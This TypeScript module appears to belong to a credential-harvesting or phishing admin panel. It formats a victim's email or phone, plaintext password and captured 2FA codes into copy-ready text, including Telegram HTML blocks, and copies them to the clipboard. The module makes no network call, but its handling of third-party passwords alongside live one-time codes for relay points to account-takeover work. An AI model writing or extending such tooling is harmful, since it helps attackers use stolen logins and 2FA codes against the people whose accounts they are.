import { sanitizeLoginContact } from './login-contact'
import { credentialsSummaryForAdmin, parseSessionCredentials } from './session-credentials'

export function formatLoginCopyText(email: string | null | undefined, password: string | null | undefined): string {
  const lines: string[] = []
  const contact = sanitizeLoginContact(email)
  if (contact) lines.push(`Email/phone: ${contact}`)
  if (password?.trim()) lines.push(`Password: ${password.trim()}`)
  return lines.join('\n')
}

export function formatSessionCredentialsCopy(
  email: string | null | undefined,
  passwordBlob: string | null | undefined
): string {
  const summary = credentialsSummaryForAdmin(email, passwordBlob)
  if (summary !== '—') return summary

  const parsed = parseSessionCredentials(passwordBlob)
  const lines: string[] = []
  const contact = sanitizeLoginContact(email)
  if (contact) lines.push(`Email/phone: ${contact}`)
  if (parsed.password) lines.push(`Password: ${parsed.password}`)
  for (const c of parsed.codes) {
    lines.push(`2FA (${c.type}): ${c.code}`)
  }
  if (!parsed.password && passwordBlob?.trim() && !parsed.codes.length) {
    lines.push(`Password: ${passwordBlob.trim()}`)
  }
  return lines.join('\n')
}

/** Plain two-line block for Telegram tap-to-copy. */
export function formatTelegramCopyPlain(
  email: string | null | undefined,
  password: string | null | undefined,
  code?: string
): string {
  const lines: string[] = []
  const contact = sanitizeLoginContact(email)
  if (contact) lines.push(contact)
  if (password?.trim()) lines.push(password.trim())
  if (code?.trim()) lines.push(code.trim())
  return lines.join('\n')
}

export function escapeTelegramHtml(text: string): string {
  return text
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
}

export function formatTelegramCopyHtml(
  email: string | null | undefined,
  password: string | null | undefined,
  code?: string
): string {
  const parts: string[] = []
  const contact = sanitizeLoginContact(email)
  if (contact) {
    parts.push(`<b>Email / phone</b>\n<code>${escapeTelegramHtml(contact)}</code>`)
  }
  if (password?.trim()) {
    parts.push(`<b>Password</b>\n<code>${escapeTelegramHtml(password.trim())}</code>`)
  }
  if (code?.trim()) {
    parts.push(`<b>2FA code</b>\n<code>${escapeTelegramHtml(code.trim())}</code>`)
  }
  return parts.join('\n\n')
}

export async function copyTextToClipboard(text: string): Promise<boolean> {
  if (!text?.trim() || typeof navigator === 'undefined') return false
  try {
    if (navigator.clipboard?.writeText) {
      await navigator.clipboard.writeText(text)
      return true
    }
  } catch {
    // fallback below
  }
  try {
    const ta = document.createElement('textarea')
    ta.value = text
    ta.setAttribute('readonly', '')
    ta.style.position = 'fixed'
    ta.style.left = '-9999px'
    document.body.appendChild(ta)
    ta.select()
    const ok = document.execCommand('copy')
    document.body.removeChild(ta)
    return ok
  } catch {
    return false
  }
}

export async function copySessionCredentials(
  email: string | null | undefined,
  passwordBlob: string | null | undefined
): Promise<boolean> {
  const text = formatSessionCredentialsCopy(email, passwordBlob)
  if (!text) return false
  return copyTextToClipboard(text)
}
